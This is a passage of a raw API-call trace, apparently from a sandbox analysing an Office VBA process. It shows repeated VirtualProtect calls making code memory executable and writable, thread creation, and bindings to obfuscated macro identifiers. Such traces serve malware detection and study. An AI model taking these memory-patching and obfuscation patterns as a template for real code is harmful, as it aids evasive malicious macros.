[0029.887] VirtualProtect (in: lpAddress=0x75e98ca, dwSize=0xc, flNewProtect=0x40, lpflOldProtect=0x308114 | out: lpflOldProtect=0x308114*=0x40) returned 1
[0029.887] GetCurrentProcess () returned 0xffffffff
[0029.887] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x75e98de, dwSize=0xc) returned 1
[0029.887] VirtualProtect (in: lpAddress=0x75e98de, dwSize=0xc, flNewProtect=0x40, lpflOldProtect=0x308114 | out: lpflOldProtect=0x308114*=0x40) returned 1
[0029.887] GetCurrentProcess () returned 0xffffffff
[0029.887] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x75e98f2, dwSize=0xc) returned 1
[0029.887] VirtualProtect (in: lpAddress=0x75e98f2, dwSize=0xc, flNewProtect=0x40, lpflOldProtect=0x308114 | out: lpflOldProtect=0x308114*=0x40) returned 1
[0029.887] GetCurrentProcess () returned 0xffffffff
[0029.887] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x75e9906, dwSize=0xc) returned 1
[0029.887] VirtualProtect (in: lpAddress=0x75e9906, dwSize=0xc, flNewProtect=0x40, lpflOldProtect=0x308114 | out: lpflOldProtect=0x308114*=0x40) returned 1
[0029.887] GetCurrentProcess () returned 0xffffffff
[0029.887] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x75e991a, dwSize=0xc) returned 1
[0029.887] VirtualProtect (in: lpAddress=0x75e991a, dwSize=0xc, flNewProtect=0x40, lpflOldProtect=0x308114 | out: lpflOldProtect=0x308114*=0x40) returned 1
[0029.887] GetCurrentProcess () returned 0xffffffff
[0029.887] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x75e992e, dwSize=0xc) returned 1
[0029.887] VirtualProtect (in: lpAddress=0x75e992e, dwSize=0xc, flNewProtect=0x40, lpflOldProtect=0x308114 | out: lpflOldProtect=0x308114*=0x40) returned 1
[0029.887] GetCurrentProcess () returned 0xffffffff
[0029.888] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x75e9942, dwSize=0xc) returned 1
[0029.888] VirtualProtect (in: lpAddress=0x75e9942, dwSize=0xc, flNewProtect=0x40, lpflOldProtect=0x308114 | out: lpflOldProtect=0x308114*=0x40) returned 1
[0029.888] GetCurrentProcess () returned 0xffffffff
[0029.888] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x75e9956, dwSize=0xc) returned 1
[0029.888] VirtualProtect (in: lpAddress=0x75e9956, dwSize=0xc, flNewProtect=0x40, lpflOldProtect=0x308114 | out: lpflOldProtect=0x308114*=0x40) returned 1
[0029.888] GetCurrentProcess () returned 0xffffffff
[0029.888] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x75e996a, dwSize=0xc) returned 1
[0029.888] VirtualProtect (in: lpAddress=0x75e996a, dwSize=0xc, flNewProtect=0x40, lpflOldProtect=0x308114 | out: lpflOldProtect=0x308114*=0x40) returned 1
[0029.888] GetCurrentProcess () returned 0xffffffff
[0029.888] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x75e997e, dwSize=0xc) returned 1
[0029.888] VirtualProtect (in: lpAddress=0x75e997e, dwSize=0xc, flNewProtect=0x40, lpflOldProtect=0x308114 | out: lpflOldProtect=0x308114*=0x40) returned 1
[0029.888] GetCurrentProcess () returned 0xffffffff
[0029.888] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x75e9992, dwSize=0xc) returned 1
[0029.888] VirtualProtect (in: lpAddress=0x75e9992, dwSize=0xc, flNewProtect=0x40, lpflOldProtect=0x308114 | out: lpflOldProtect=0x308114*=0x40) returned 1
[0029.888] GetCurrentProcess () returned 0xffffffff
[0029.888] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x75e99a6, dwSize=0xc) returned 1
[0029.888] VirtualProtect (in: lpAddress=0x75e99a6, dwSize=0xc, flNewProtect=0x40, lpflOldProtect=0x308114 | out: lpflOldProtect=0x308114*=0x40) returned 1
[0029.888] GetCurrentProcess () returned 0xffffffff
[0029.888] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x75e99ba, dwSize=0xc) returned 1
[0029.888] VirtualProtect (in: lpAddress=0x75e99ba, dwSize=0xc, flNewProtect=0x40, lpflOldProtect=0x308114 | out: lpflOldProtect=0x308114*=0x40) returned 1
[0029.888] GetCurrentProcess () returned 0xffffffff
[0029.888] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x75e99ce, dwSize=0xc) returned 1
[0029.888] VirtualProtect (in: lpAddress=0x75e99ce, dwSize=0xc, flNewProtect=0x40, lpflOldProtect=0x308114 | out: lpflOldProtect=0x308114*=0x40) returned 1
[0029.889] GetCurrentProcess () returned 0xffffffff
[0029.889] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x75e99e2, dwSize=0xc) returned 1
[0029.889] VirtualProtect (in: lpAddress=0x75e99e2, dwSize=0xc, flNewProtect=0x40, lpflOldProtect=0x308114 | out: lpflOldProtect=0x308114*=0x40) returned 1
[0029.889] GetCurrentProcess () returned 0xffffffff
[0029.889] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x75e99f6, dwSize=0xc) returned 1
[0029.889] VirtualProtect (in: lpAddress=0x75e99f6, dwSize=0xc, flNewProtect=0x40, lpflOldProtect=0x308114 | out: lpflOldProtect=0x308114*=0x40) returned 1
[0029.889] GetCurrentProcess () returned 0xffffffff
[0029.889] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x75e9a0a, dwSize=0xc) returned 1
[0029.889] VirtualProtect (in: lpAddress=0x75e9a0a, dwSize=0xc, flNewProtect=0x40, lpflOldProtect=0x308114 | out: lpflOldProtect=0x308114*=0x40) returned 1
[0029.889] GetCurrentProcess () returned 0xffffffff
[0029.889] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x75e9a1e, dwSize=0xc) returned 1
[0029.889] VirtualProtect (in: lpAddress=0x75e9a1e, dwSize=0xc, flNewProtect=0x40, lpflOldProtect=0x308114 | out: lpflOldProtect=0x308114*=0x40) returned 1
[0029.889] GetCurrentProcess () returned 0xffffffff
[0029.889] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x75e9a32, dwSize=0xc) returned 1
[0029.889] VirtualProtect (in: lpAddress=0x75e9a32, dwSize=0xc, flNewProtect=0x40, lpflOldProtect=0x308114 | out: lpflOldProtect=0x308114*=0x40) returned 1
[0029.889] GetCurrentProcess () returned 0xffffffff
[0029.889] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x75e9a46, dwSize=0xc) returned 1
[0029.889] VirtualProtect (in: lpAddress=0x75e9a46, dwSize=0xc, flNewProtect=0x40, lpflOldProtect=0x308114 | out: lpflOldProtect=0x308114*=0x40) returned 1
[0029.889] GetCurrentProcess () returned 0xffffffff
[0029.889] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x757f1ae, dwSize=0xc) returned 1
[0029.889] VirtualProtect (in: lpAddress=0x757f1ae, dwSize=0xc, flNewProtect=0x40, lpflOldProtect=0x308114 | out: lpflOldProtect=0x308114*=0x4) returned 1
[0029.889] GetCurrentProcess () returned 0xffffffff
[0029.889] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x757f1c2, dwSize=0xc) returned 1
[0029.889] VirtualProtect (in: lpAddress=0x757f1c2, dwSize=0xc, flNewProtect=0x40, lpflOldProtect=0x308114 | out: lpflOldProtect=0x308114*=0x40) returned 1
[0029.889] GetCurrentProcess () returned 0xffffffff
[0029.890] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x757f1d6, dwSize=0xc) returned 1
[0029.890] VirtualProtect (in: lpAddress=0x757f1d6, dwSize=0xc, flNewProtect=0x40, lpflOldProtect=0x308114 | out: lpflOldProtect=0x308114*=0x40) returned 1
[0029.890] CRetailMalloc_Alloc () returned 0x76052e8
[0029.890] CRetailMalloc_Free () returned 0x3520001
[0029.890] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0
[0029.890] CRetailMalloc_Alloc () returned 0x76121e8
[0029.890] DispCallFunc (pvInstance=0x0, oVft=0x75e98a2, cc=0x4, vtReturn=0x0, cActuals=0x0, prgvt=0x0, prgpvarg=0x0, pvargResult=0x307c70) returned 0x0
[0029.890] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x1000, lpStartAddress=0x725711d3, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x307b80 | out: lpThreadId=0x307b80*=0xacc) returned 0x988
[0029.891] PeekMessageA (in: lpMsg=0x307b60, hWnd=0x20194, wMsgFilterMin=0x1045, wMsgFilterMax=0x1045, wRemoveMsg=0x3 | out: lpMsg=0x307b60) returned 0
[0029.895] GetActiveWindow () returned 0x301a0
[0029.895] CRetailMalloc_Alloc () returned 0x7534298
[0029.895] CRetailMalloc_Alloc () returned 0x75f2800
[0029.895] CExposedStream::Seek () returned 0x0
[0029.895] CRetailMalloc_Alloc () returned 0x7609990
[0029.895] CRetailMalloc_Realloc () returned 0x7609f40
[0029.895] CRetailMalloc_Realloc () returned 0x73fb010
[0029.895] CRetailMalloc_Alloc () returned 0x760a120
[0029.906] CRetailMalloc_Realloc () returned 0x7550120
[0029.907] CRetailMalloc_Realloc () returned 0x743b250
[0029.917] CoCreateGuid (in: pguid=0x307994 | out: pguid=0x307994*(Data1=0xf86248ad, Data2=0x1207, Data3=0x4647, Data4=([0]=0x98, [1]=0x37, [2]=0xc4, [3]=0xd4, [4]=0xff, [5]=0x56, [6]=0xbc, [7]=0x6d))) returned 0x0
[0029.917] CoCreateGuid (in: pguid=0x307994 | out: pguid=0x307994*(Data1=0xb8c0601e, Data2=0xd468, Data3=0x451e, Data4=([0]=0x86, [1]=0x8d, [2]=0xe4, [3]=0x26, [4]=0xd5, [5]=0x5c, [6]=0xf5, [7]=0x46))) returned 0x0
[0029.917] CRetailMalloc_Alloc () returned 0x76a9590
[0029.918] CRetailMalloc_Alloc () returned 0x765a070
[0029.919] CExposedStream::Seek () returned 0x0
[0029.920] CRetailMalloc_Alloc () returned 0x753a010
[0029.920] CRetailMalloc_Realloc () returned 0x76ac330
[0029.928] CRetailMalloc_Realloc () returned 0x7578120
[0029.928] CRetailMalloc_Alloc () returned 0x74afcd0
[0029.928] CRetailMalloc_Realloc () returned 0x753a010
[0029.928] CRetailMalloc_Free () returned 0x2720001
[0029.928] GetCurrentProcess () returned 0xffffffff
[0029.928] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x75e98a2, dwSize=0xc) returned 1
[0029.928] VirtualProtect (in: lpAddress=0x75e98a2, dwSize=0xc, flNewProtect=0x40, lpflOldProtect=0x307274 | out: lpflOldProtect=0x307274*=0x40) returned 1
[0029.928] GetCurrentProcess () returned 0xffffffff
[0029.928] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x75e98b6, dwSize=0xc) returned 1
[0029.928] VirtualProtect (in: lpAddress=0x75e98b6, dwSize=0xc, flNewProtect=0x40, lpflOldProtect=0x307274 | out: lpflOldProtect=0x307274*=0x40) returned 1
[0029.929] GetCurrentProcess () returned 0xffffffff
[0029.929] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x75e98ca, dwSize=0xc) returned 1
[0029.929] VirtualProtect (in: lpAddress=0x75e98ca, dwSize=0xc, flNewProtect=0x40, lpflOldProtect=0x307274 | out: lpflOldProtect=0x307274*=0x40) returned 1
[0029.929] GetCurrentProcess () returned 0xffffffff
[0029.929] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x75e98de, dwSize=0xc) returned 1
[0029.929] VirtualProtect (in: lpAddress=0x75e98de, dwSize=0xc, flNewProtect=0x40, lpflOldProtect=0x307274 | out: lpflOldProtect=0x307274*=0x40) returned 1
[0029.929] GetCurrentProcess () returned 0xffffffff
[0029.929] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x75e98f2, dwSize=0xc) returned 1
[0029.929] VirtualProtect (in: lpAddress=0x75e98f2, dwSize=0xc, flNewProtect=0x40, lpflOldProtect=0x307274 | out: lpflOldProtect=0x307274*=0x40) returned 1
[0029.929] GetCurrentProcess () returned 0xffffffff
[0029.929] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x75e9906, dwSize=0xc) returned 1
[0029.929] VirtualProtect (in: lpAddress=0x75e9906, dwSize=0xc, flNewProtect=0x40, lpflOldProtect=0x307274 | out: lpflOldProtect=0x307274*=0x40) returned 1
[0029.929] GetCurrentProcess () returned 0xffffffff
[0029.929] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x75e991a, dwSize=0xc) returned 1
[0029.929] VirtualProtect (in: lpAddress=0x75e991a, dwSize=0xc, flNewProtect=0x40, lpflOldProtect=0x307274 | out: lpflOldProtect=0x307274*=0x40) returned 1
[0029.929] GetCurrentProcess () returned 0xffffffff
[0029.929] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x75e992e, dwSize=0xc) returned 1
[0029.929] VirtualProtect (in: lpAddress=0x75e992e, dwSize=0xc, flNewProtect=0x40, lpflOldProtect=0x307274 | out: lpflOldProtect=0x307274*=0x40) returned 1
[0029.929] GetCurrentProcess () returned 0xffffffff
[0029.929] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x75e9942, dwSize=0xc) returned 1
[0029.929] VirtualProtect (in: lpAddress=0x75e9942, dwSize=0xc, flNewProtect=0x40, lpflOldProtect=0x307274 | out: lpflOldProtect=0x307274*=0x40) returned 1
[0029.929] GetCurrentProcess () returned 0xffffffff
[0029.929] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x75e9956, dwSize=0xc) returned 1
[0029.929] VirtualProtect (in: lpAddress=0x75e9956, dwSize=0xc, flNewProtect=0x40, lpflOldProtect=0x307274 | out: lpflOldProtect=0x307274*=0x40) returned 1
[0029.930] GetCurrentProcess () returned 0xffffffff
[0029.930] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x75e996a, dwSize=0xc) returned 1
[0029.930] VirtualProtect (in: lpAddress=0x75e996a, dwSize=0xc, flNewProtect=0x40, lpflOldProtect=0x307274 | out: lpflOldProtect=0x307274*=0x40) returned 1
[0029.930] GetCurrentProcess () returned 0xffffffff
[0029.930] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x75e997e, dwSize=0xc) returned 1
[0029.930] VirtualProtect (in: lpAddress=0x75e997e, dwSize=0xc, flNewProtect=0x40, lpflOldProtect=0x307274 | out: lpflOldProtect=0x307274*=0x40) returned 1
[0029.930] GetCurrentProcess () returned 0xffffffff
[0029.930] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x75e9992, dwSize=0xc) returned 1
[0029.930] VirtualProtect (in: lpAddress=0x75e9992, dwSize=0xc, flNewProtect=0x40, lpflOldProtect=0x307274 | out: lpflOldProtect=0x307274*=0x40) returned 1
[0029.930] GetCurrentProcess () returned 0xffffffff
[0029.930] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x75e99a6, dwSize=0xc) returned 1
[0029.930] VirtualProtect (in: lpAddress=0x75e99a6, dwSize=0xc, flNewProtect=0x40, lpflOldProtect=0x307274 | out: lpflOldProtect=0x307274*=0x40) returned 1
[0029.930] GetCurrentProcess () returned 0xffffffff
[0029.930] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x75e99ba, dwSize=0xc) returned 1
[0029.930] VirtualProtect (in: lpAddress=0x75e99ba, dwSize=0xc, flNewProtect=0x40, lpflOldProtect=0x307274 | out: lpflOldProtect=0x307274*=0x40) returned 1
[0029.930] GetCurrentProcess () returned 0xffffffff
[0029.930] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x75e99ce, dwSize=0xc) returned 1
[0029.930] VirtualProtect (in: lpAddress=0x75e99ce, dwSize=0xc, flNewProtect=0x40, lpflOldProtect=0x307274 | out: lpflOldProtect=0x307274*=0x40) returned 1
[0029.930] GetCurrentProcess () returned 0xffffffff
[0029.930] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x75e99e2, dwSize=0xc) returned 1
[0029.930] VirtualProtect (in: lpAddress=0x75e99e2, dwSize=0xc, flNewProtect=0x40, lpflOldProtect=0x307274 | out: lpflOldProtect=0x307274*=0x40) returned 1
[0029.930] GetCurrentProcess () returned 0xffffffff
[0029.930] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x75e99f6, dwSize=0xc) returned 1
[0029.930] VirtualProtect (in: lpAddress=0x75e99f6, dwSize=0xc, flNewProtect=0x40, lpflOldProtect=0x307274 | out: lpflOldProtect=0x307274*=0x40) returned 1
[0029.931] GetCurrentProcess () returned 0xffffffff
[0029.931] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x75e9a0a, dwSize=0xc) returned 1
[0029.931] VirtualProtect (in: lpAddress=0x75e9a0a, dwSize=0xc, flNewProtect=0x40, lpflOldProtect=0x307274 | out: lpflOldProtect=0x307274*=0x40) returned 1
[0029.931] GetCurrentProcess () returned 0xffffffff
[0029.931] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x75e9a1e, dwSize=0xc) returned 1
[0029.931] VirtualProtect (in: lpAddress=0x75e9a1e, dwSize=0xc, flNewProtect=0x40, lpflOldProtect=0x307274 | out: lpflOldProtect=0x307274*=0x40) returned 1
[0029.931] GetCurrentProcess () returned 0xffffffff
[0029.931] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x75e9a32, dwSize=0xc) returned 1
[0029.931] VirtualProtect (in: lpAddress=0x75e9a32, dwSize=0xc, flNewProtect=0x40, lpflOldProtect=0x307274 | out: lpflOldProtect=0x307274*=0x40) returned 1
[0029.931] GetCurrentProcess () returned 0xffffffff
[0029.931] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x75e9a46, dwSize=0xc) returned 1
[0029.931] VirtualProtect (in: lpAddress=0x75e9a46, dwSize=0xc, flNewProtect=0x40, lpflOldProtect=0x307274 | out: lpflOldProtect=0x307274*=0x40) returned 1
[0029.931] GetCurrentProcess () returned 0xffffffff
[0029.931] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x757f1ae, dwSize=0xc) returned 1
[0029.931] VirtualProtect (in: lpAddress=0x757f1ae, dwSize=0xc, flNewProtect=0x40, lpflOldProtect=0x307274 | out: lpflOldProtect=0x307274*=0x40) returned 1
[0029.931] GetCurrentProcess () returned 0xffffffff
[0029.931] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x757f1c2, dwSize=0xc) returned 1
[0029.931] VirtualProtect (in: lpAddress=0x757f1c2, dwSize=0xc, flNewProtect=0x40, lpflOldProtect=0x307274 | out: lpflOldProtect=0x307274*=0x40) returned 1
[0029.931] GetCurrentProcess () returned 0xffffffff
[0029.931] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x757f1d6, dwSize=0xc) returned 1
[0029.931] VirtualProtect (in: lpAddress=0x757f1d6, dwSize=0xc, flNewProtect=0x40, lpflOldProtect=0x307274 | out: lpflOldProtect=0x307274*=0x40) returned 1
[0029.931] GetAsyncKeyState (vKey=3) returned 0
[0029.932] CRetailMalloc_Alloc () returned 0x753a068
[0029.932] CRetailMalloc_Alloc () returned 0x75f68f0
[0029.932] CRetailMalloc_Alloc () returned 0x73faf98
[0029.932] CRetailMalloc_Alloc () returned 0x75348b8
[0029.932] CRetailMalloc_Alloc () returned 0x76122d8
[0029.932] CRetailMalloc_Alloc () returned 0x7605468
[0029.932] CRetailMalloc_Alloc () returned 0x75f2778
[0029.932] CRetailMalloc_Alloc () returned 0x760a120
[0029.932] CRetailMalloc_Alloc () returned 0x760a150
[0029.932] IUnknown:QueryInterface (in: This=0x75e9628, riid=0x7278ca84*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x307364 | out: ppvObject=0x307364*=0x0) returned 0x80004002
[0029.932] ITypeLib:GetTypeComp (in: This=0x75e9628, ppTComp=0x307368 | out: ppTComp=0x307368*=0x75e9630) returned 0x0
[0029.932] CRetailMalloc_Alloc () returned 0x57b2c48
[0029.932] IUnknown:AddRef (This=0x75e9630) returned 0x7
[0029.932] IUnknown:Release (This=0x75e9630) returned 0x6
[0029.932] IUnknown:Release (This=0x75e9628) returned 0x5
[0029.932] IUnknown:QueryInterface (in: This=0x75e82c0, riid=0x7278ca84*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x307364 | out: ppvObject=0x307364*=0x0) returned 0x80004002
[0029.932] ITypeLib:GetTypeComp (in: This=0x75e82c0, ppTComp=0x307368 | out: ppTComp=0x307368*=0x75e82c8) returned 0x0
[0029.932] CRetailMalloc_Alloc () returned 0x57b28b8
[0029.932] IUnknown:AddRef (This=0x75e82c8) returned 0xb
[0029.932] IUnknown:Release (This=0x75e82c8) returned 0xa
[0029.932] IUnknown:Release (This=0x75e82c0) returned 0x9
[0029.933] IUnknown:QueryInterface (in: This=0x5810260, riid=0x7278ca84*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x307364 | out: ppvObject=0x307364*=0x0) returned 0x80004002
[0029.933] ITypeLib:GetTypeComp (in: This=0x5810260, ppTComp=0x307368 | out: ppTComp=0x307368*=0x5810268) returned 0x0
[0029.933] CRetailMalloc_Alloc () returned 0x57b2888
[0029.933] IUnknown:AddRef (This=0x5810268) returned 0x8
[0029.933] IUnknown:Release (This=0x5810268) returned 0x7
[0029.933] IUnknown:Release (This=0x5810260) returned 0x6
[0029.933] wcscpy_s (in: _Destination=0x7611d8c, _SizeInWords=0xa, _Source="*\\CNormal" | out: _Destination="*\\CNormal") returned 0x0
[0029.934] CRetailMalloc_Alloc () returned 0x57b2858
[0029.934] IUnknown:QueryInterface (in: This=0x757e058, riid=0x7278ca84*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x307364 | out: ppvObject=0x307364*=0x0) returned 0x80004002
[0029.934] ITypeLib:GetTypeComp (in: This=0x757e058, ppTComp=0x307368 | out: ppTComp=0x307368*=0x757e060) returned 0x0
[0029.934] CRetailMalloc_Alloc () returned 0x57b2f18
[0029.934] IUnknown:AddRef (This=0x757e060) returned 0x6
[0029.934] IUnknown:Release (This=0x757e060) returned 0x5
[0029.934] IUnknown:Release (This=0x757e058) returned 0x4
[0029.937] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x81d110a, cbMultiByte=8, lpWideCharStr=0x307304, cchWideChar=9 | out: lpWideCharStr="NHMuXYT") returned 8
[0029.937] CRetailMalloc_Alloc () returned 0x753a878
[0029.937] CRetailMalloc_Alloc () returned 0x7612328
[0029.937] CRetailMalloc_Alloc () returned 0x760a160
[0029.937] CRetailMalloc_Alloc () returned 0x760a170
[0029.937] CRetailMalloc_Alloc () returned 0x7612148
[0029.937] CRetailMalloc_Alloc () returned 0x75f2800
[0029.937] ITypeComp:RemoteBind (in: This=0x757e060, szName="NHMuXYT", lHashVal=0x101dd2, wFlags=0x5, ppTInfo=0x3072d0, pDescKind=0x3072e0, ppFuncDesc=0x3072d4, ppVarDesc=0x307470, ppTypeComp=0x4, pDummy=0x44c | out: ppTInfo=0x3072d0*=0x0, pDescKind=0x3072e0*=0, ppFuncDesc=0x3072d4, ppVarDesc=0x307470, ppTypeComp=0x4, pDummy=0x44c) returned 0x0
[0029.938] CRetailMalloc_Alloc () returned 0x7605300
[0029.938] _mbscpy_s (in: _Dst=0x7605300, _DstSizeInBytes=0x8, _Src=0x81d110a | out: _Dst=0x7605300) returned 0x0
[0029.938] IUnknown:Release (This=0x75e9628) returned 0x5
[0029.938] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x81d18ea, cbMultiByte=15, lpWideCharStr=0x307314, cchWideChar=16 | out: lpWideCharStr="_B_var_NHMuXYT") returned 15
[0029.938] ITypeComp:RemoteBind (in: This=0x75e9630, szName="_B_var_NHMuXYT", lHashVal=0x102156, wFlags=0x5, ppTInfo=0x3072e0, pDescKind=0x3072f0, ppFuncDesc=0x3072e4, ppVarDesc=0x757a6a4, ppTypeComp=0x307470, pDummy=0x1 | out: ppTInfo=0x3072e0*=0x0, pDescKind=0x3072f0*=0, ppFuncDesc=0x3072e4, ppVarDesc=0x757a6a4, ppTypeComp=0x307470*=0x0, pDummy=0x1) returned 0x0
[0029.938] _mbscpy_s (in: _Dst=0x30737c, _DstSizeInBytes=0x8, _Src=0x81d110a | out: _Dst=0x30737c) returned 0x0
[0029.938] CRetailMalloc_Free () returned 0x8540201
[0029.939] CRetailMalloc_Realloc () returned 0x743b358
[0029.939] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x81d112e, cbMultiByte=9, lpWideCharStr=0x307304, cchWideChar=10 | out: lpWideCharStr="gxbgZpEr") returned 9
[0029.939] ITypeComp:RemoteBind (in: This=0x757e060, szName="gxbgZpEr", lHashVal=0x103d0c, wFlags=0x5, ppTInfo=0x3072d0, pDescKind=0x3072e0, ppFuncDesc=0x3072d4, ppVarDesc=0x307470, ppTypeComp=0x4, pDummy=0x44e | out: ppTInfo=0x3072d0*=0x0, pDescKind=0x3072e0*=0, ppFuncDesc=0x3072d4, ppVarDesc=0x307470, ppTypeComp=0x4, pDummy=0x44e) returned 0x0
[0029.939] CRetailMalloc_Alloc () returned 0x7605300
[0029.939] _mbscpy_s (in: _Dst=0x7605300, _DstSizeInBytes=0x9, _Src=0x81d112e | out: _Dst=0x7605300) returned 0x0
[0029.939] IUnknown:Release (This=0x75e9628) returned 0x5
[0029.939] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x81d1916, cbMultiByte=16, lpWideCharStr=0x307314, cchWideChar=17 | out: lpWideCharStr="_B_var_gxbgZpEr") returned 16
[0029.939] ITypeComp:RemoteBind (in: This=0x75e9630, szName="_B_var_gxbgZpEr", lHashVal=0x101495, wFlags=0x5, ppTInfo=0x3072e0, pDescKind=0x3072f0, ppFuncDesc=0x3072e4, ppVarDesc=0x757a6a4, ppTypeComp=0x307470, pDummy=0x1 | out: ppTInfo=0x3072e0*=0x0, pDescKind=0x3072f0*=0, ppFuncDesc=0x3072e4, ppVarDesc=0x757a6a4, ppTypeComp=0x307470*=0x0, pDummy=0x1) returned 0x0
[0029.939] _mbscpy_s (in: _Dst=0x30737c, _DstSizeInBytes=0x9, _Src=0x81d112e | out: _Dst=0x30737c) returned 0x0
[0029.939] CRetailMalloc_Free () returned 0x8540201
[0029.940] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x81d1156, cbMultiByte=8, lpWideCharStr=0x307304, cchWideChar=9 | out: lpWideCharStr="ZKrWVeu") returned 8
[0029.940] ITypeComp:RemoteBind (in: This=0x757e060, szName="ZKrWVeu", lHashVal=0x10e1dc, wFlags=0x5, ppTInfo=0x3072d0, pDescKind=0x3072e0, ppFuncDesc=0x3072d4, ppVarDesc=0x307470, ppTypeComp=0x4, pDummy=0x450 | out: ppTInfo=0x3072d0*=0x0, pDescKind=0x3072e0*=0, ppFuncDesc=0x3072d4, ppVarDesc=0x307470, ppTypeComp=0x4, pDummy=0x450) returned 0x0
[0029.940] CRetailMalloc_Realloc () returned 0x7429d48
[0029.940] CRetailMalloc_Alloc () returned 0x7605300
[0029.940] _mbscpy_s (in: _Dst=0x7605300, _DstSizeInBytes=0x8, _Src=0x81d1156 | out: _Dst=0x7605300) returned 0x0
[0029.940] IUnknown:Release (This=0x75e9628) returned 0x5
[0029.940] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x81d1942, cbMultiByte=15, lpWideCharStr=0x307314, cchWideChar=16 | out: lpWideCharStr="_B_var_ZKrWVeu") returned 15
[0029.940] ITypeComp:RemoteBind (in: This=0x75e9630, szName="_B_var_ZKrWVeu", lHashVal=0x10d5df, wFlags=0x5, ppTInfo=0x3072e0, pDescKind=0x3072f0, ppFuncDesc=0x3072e4, ppVarDesc=0x757a6a4, ppTypeComp=0x307470, pDummy=0x1 | out: ppTInfo=0x3072e0*=0x0, pDescKind=0x3072f0*=0, ppFuncDesc=0x3072e4, ppVarDesc=0x757a6a4, ppTypeComp=0x307470*=0x0, pDummy=0x1) returned 0x0
[0029.940] _mbscpy_s (in: _Dst=0x30737c, _DstSizeInBytes=0x8, _Src=0x81d1156 | out: _Dst=0x30737c) returned 0x0
[0029.940] CRetailMalloc_Free () returned 0x8540201
[0029.941] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x81d0cb6, cbMultiByte=12, lpWideCharStr=0x307304, cchWideChar=13 | out: lpWideCharStr="gxNUmgtWxGM") returned 12
